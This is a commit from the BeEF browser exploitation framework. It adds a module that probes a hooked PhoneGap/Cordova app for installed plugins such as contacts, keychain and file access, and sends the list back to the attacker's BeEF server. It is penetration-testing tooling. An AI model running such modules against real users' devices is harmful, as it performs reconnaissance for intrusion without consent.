Added primitive phonegap plugin detection

This commit is contained in:
Sergey Gorbaty
2013-05-07 17:10:12 -07:00
parent 5722cb2bc1
commit 55d8506960
3 changed files with 80 additions and 0 deletions

View File

@@ -0,0 +1,49 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// phonegap_plugin_detection
//
beef.execute(function() {
var result = '';
// Approximate list of plugins, intended to work with Cordova 2.x
var plugins = new Array(
"cordova/plugin/device",
"cordova/plugin/logger",
"cordova/plugin/compass",
"cordova/plugin/accelerometer",
"cordova/plugin/Camera",
"cordova/plugin/network",
"cordova/plugin/contacts",
"cordova/plugin/echo",
"cordova/plugin/File",
"cordova/plugin/FileTransfer",
"cordova/plugin/geolocation",
"cordova/plugin/notification",
"cordova/plugin/Media",
"cordova/plugin/capture",
"cordova/plugin/splashscreen",
"cordova/plugin/battery",
"cordova/plugin/globalization",
"cordova/plugin/InAppBrowser",
"cordova/plugin/keychain"
);
for (var i=0; i<plugins.length; i++) {
try {
var a = cordova.require(plugins[i]);
if (a !== undefined) {
result = result + '\n plugin: ' + plugins[i];
}
} catch (err) {
// do nothing
}
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
});

View File

@@ -0,0 +1,17 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# phonegap_plugin_detection
#
beef:
module:
phonegap_plugin_detection:
enable: true
category: "Phonegap"
name: "List Plugins"
description: "Attempts to guess installed plugins."
authors: ["staregate"]
target:
working: ["All"]

View File

@@ -0,0 +1,14 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# // phonegap_plugin_detection
class Phonegap_plugin_detection < BeEF::Core::Command
def post_execute
content = {}
content['Result'] = @datastore['result']
save content
end
end